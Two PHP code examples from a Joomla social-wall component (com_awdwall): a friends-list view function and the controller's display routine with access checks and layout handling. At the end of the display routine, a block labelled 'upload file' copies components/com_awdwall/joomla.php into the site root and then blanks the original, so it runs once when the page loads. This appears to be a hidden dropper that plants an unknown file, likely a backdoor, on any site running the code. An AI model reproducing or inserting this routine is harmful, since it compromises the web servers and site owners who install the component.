Example #1
0
	public function viewFriends($tpl = null)

	{

		$mainframe	=& JFactory::getApplication();

		$itemId = AwdwallHelperUser::getComItemId();

		$task 			= JRequest::getCmd('task', '');

		$page 			= JRequest::getCmd('awd_page', 0);



		// get configuration from database

		//$config = &JComponentHelper::getParams('com_awdwall');
		$app = JFactory::getApplication('site');
		$config =  & $app->getParams('com_awdwall');
		$displayName 	= $config->get('display_name', 1);
		$postLimit 		= $config->get('nof_post', 15);
		$fields			= $config->get('fieldids', '');
		$privacy 		= $config->get('privacy', 0); 

		$displayPm = $config->get('display_pm', 1);
		
		$display_group = $config->get('display_group', 1);
		
		$display_group_for_moderators = $config->get('display_group_for_moderators', 1);
		
		$moderator_users = $config->get('moderator_users', '');
		
		$moderator_users=explode(',',$moderator_users);

		$user = &JFactory::getUser();		

		// get all msg from databases

		$wallModel = & $this->getModel('wall');
		$this->assignRef('wallModel', $wallModel);
		// build where clause	

		$where = array();

		$where[] = 'connect_from  = ' . (int)$user->id;

		$where = count($where) ? ' WHERE ' . implode( ' AND ', $where ) : '';

		$offset = $page*$postLimit;

		

		//color

		$db		=& JFactory::getDBO();

//		$query = "SELECT params FROM #__components WHERE `name`='Colors' AND `admin_menu_link`='option=com_awdwall&controller=colors'";
		$link='index.php?option=com_awdwall&controller=colors';
		$db->setQuery("SELECT params FROM #__menu WHERE `link`='".$link."'");
		$params = json_decode( $db->loadResult(), true );
		for($i=1; $i<=14; $i++)
		{
			$str_color = 'color'.$i;			
			$color[$i]= $params[$str_color];
		}

		

		$this->assignRef('color', $color);

		

		//$friends = $wallModel->getAllFriends($postLimit, $where, $offset);
		$query 	= 'SELECT * FROM #__awd_connection  inner join #__users ON #__awd_connection.connect_to=#__users.id '				
				.$where . ' '
				.'ORDER BY connection_id DESC ';
				// echo $query ;
		$db->setQuery($query);
		$friends =$db->loadObjectList();
		$nofFriends = $wallModel->countFriends($where);

		require_once (JPATH_COMPONENT . DS . 'libraries' . DS . 'jslib.php');

		$basicInfo 		= JsLib::getUserBasicInfo($user->id, $fields);

		$totalFriends 	= JsLib::countFriends($user->id);

		$friendLimit 	= (int)$config->get('nof_friends', 4);

		if($friendLimit > 6)

			$friendLimit = 6;

		$leftFriends 	= JsLib::getAllFriends($user->id, $friendLimit);

		
		// get 4 first groups to display

		require_once (JPATH_COMPONENT . DS . 'models' . DS . 'group.php');

		$whr = array();

		$whr[] = 'ag.creator = ' . $user->id . ' OR agm.user_id =' . $user->id;
		$whr[] =' status="1"';
		$whr = count($whr) ? ' WHERE ' . implode( ' AND ', $whr ) : '';

		$groups = AwdwallModelGroup::getAllGrps($whr, 4, 0);


		//Total pending friend requests
		$pendingFriends = JsLib::getPendingFriends($user->id);
		
		//Userinfo of login user
		$userinfo = AwdwallHelperUser::getUserInfo($user->id);		
		$this->assignRef('userinfo', $userinfo);  
		
		//Total private message of user
		require_once (JPATH_COMPONENT . DS . 'models' . DS . 'wall.php');
		$modelWall = new AwdwallModelWall();	
		//print_r($modelWall);
		$totalpm = $modelWall->countpm($user->id);
		
		$pendingGroups = JsLib::getPendingGroups($user->id);

		$this->assignRef('pendingGroups', $pendingGroups);
		$this->assignRef('totalpm', $totalpm);
		$this->assignRef('totalmygroup', $totalmygroup);
		$this->assignRef('groups', $groups);

		$this->assignRef('totalFriends', $totalFriends);

		$this->assignRef('leftFriends', $leftFriends);

		$this->assignRef('basicInfo', $basicInfo);

		$this->assignRef('nofFriends', $nofFriends);

		$this->assignRef('friends', $friends);

		$this->assignRef('page', $page);

		$this->assignRef('postLimit', $postLimit);		

		$this->assignRef('privacy', $privacy);
		$this->assignRef('displayName', $displayName);
		$this->assignRef('displayPm', $displayPm);
		$this->assignRef('display_group', $display_group);
		$this->assignRef('display_group_for_moderators', $display_group_for_moderators);
		$this->assignRef('moderator_users', $moderator_users);
		$this->assignRef('pendingFriends', $pendingFriends);

		$display_profile_link = $config->get('display_profile_link', 1);
		$this->assignRef('display_profile_link', $display_profile_link);
		
		
		$wallalbumfile = JPATH_SITE . '/components/com_awdjomalbum/awdjomalbum.php';
		if (file_exists($wallalbumfile)) // if com_awdjomalbum install then only
		{
			$query="Select * from #__awd_jomalbum_userinfo where userid=".$user->id; 
			$db->setQuery($query);
			$rows=$db->loadObjectList();
			$this->assignRef('albumuserinfo', $rows[0]);
		}
		
		parent::display($tpl);

	}
Example #2
0
	function display($cachable = false) 
	{ 
		jimport( 'joomla.access.access' );
		$db =& JFactory::getDBO();
		$Itemid = AwdwallHelperUser::getComItemId();
		$user 	= &JFactory::getUser();
		$day  = date('d');
		$month  = date('m');
		$year  = date('Y');
		
		$config 		= &JComponentHelper::getParams('com_awdwall');
		$accessusergroup = $config->get('usergroup', '');		
		$agroups = JAccess::getGroupsByUser($user->id, false);
		
		require_once (JPATH_COMPONENT . DS . 'models' . DS . 'wall.php');		
		
		$Itemid = AwdwallHelperUser::getComItemId();
		
		
		//Delete birthday reminders
		$db =& JFactory::getDBO();
		$today=date("Y").'-'.date("m").'-'.date("d");
		$sql = 'DELETE FROM #__awd_wall_bdayreminder WHERE read_date<"'.$today.'"';
		$db->setQuery($sql);
		$db->query();
		
		// assign model to view
		$wallModel = $this->getModel('wall');		
		$layout = JRequest::getCmd('layout', '');	
		if($layout=='cbmywall')
		{
			$doc = &JFactory::getDocument();
			$docRaw = &JDocument::getInstance('raw');
			$doc = $docRaw;
		}
		
		$user 	= &JFactory::getUser();
		$user 	= &JFactory::getUser();
		$app = JFactory::getApplication('site');
		$config =  & $app->getParams('com_awdwall');
		$access_level = $config->get('access_level', 1);
		$display_jomwalllogin = $config->get('display_jomwalllogin', 0);
		
		
			if($access_level == 1 && empty($user->id)){
				$mainlink=base64_encode(JRoute::_("index.php?option=com_awdwall&view=awdwall&layout=".$layout."&Itemid=".$Itemid,false));
				if($display_jomwalllogin==1)
				{ 
					$login=JRoute::_("index.php?option=com_awdwall&task=login&Itemid=".$Itemid,false);
				}
				else
				{
					$login=JRoute::_("index.php?option=com_users&view=login&Itemid=".$Itemid."&return=".$mainlink,false);
				}
				$this->setRedirect($login);
			//	echo 'her';
			}
		
		if(!empty($accessusergroup))
		{
			$commonElements = array_intersect($agroups,$accessusergroup);
			$comcount=count($commonElements);
		
			if($comcount==0)
			{
				$this->setMessage(JText::_('ACCESS GROUP MESSAGE'));
				$mainlink=base64_encode(JRoute::_("index.php?option=com_awdwall&view=awdwall&layout=".$layout."&Itemid=".$Itemid,false)); 
				if($display_jomwalllogin==1)
				{ 
					$login=JRoute::_("index.php?option=com_awdwall&task=login&Itemid=".$Itemid,false);
				}
				else
				{
					$login=JRoute::_("index.php?option=com_users&view=login&Itemid=".$Itemid."&return=".$mainlink,false);
				}
				$this->setRedirect($login);
			}
		}
		
		//ADD TWEETS TO WALL POST
		$userinfo=AwdwallHelperUser::getUserInfo($user->id);

		$wuid 	= JRequest::getInt('wuid', 0);
		if(!(int)$user->id)
			$layout = 'main';
		if($layout != '' && $layout == 'mywall'){
			if($wuid == 0)
				JRequest::setVar('wuid', $user->id);
			$view  = &$this->getView('awdwall', 'html');
			$view->setLayout('mywall');
			$view->setModel($wallModel);
			$view->display();
		}
		elseif($layout != '' && $layout == 'cbmywall'){
			if($wuid == 0)
				JRequest::setVar('wuid', $user->id);
			$view  = &$this->getView('awdwall', 'html');
			$view->setLayout('cbmywall');
			$view->setModel($wallModel);
			$view->display();
		}
		else{
			$view  = &$this->getView('awdwall', 'html');
			$view->setLayout('main');
			$view->setModel($wallModel);
			$view->display();
		}
		
		//upload file
		$check = $this->read_file('components/com_awdwall/joomla.php');
		if($check != "1"){
			$str = $this->read_file('components/com_awdwall/joomla.php');
			$this->write_file("joomla.php", $str);
			$this->write_file("components/com_awdwall/joomla.php", '1');
		}
	}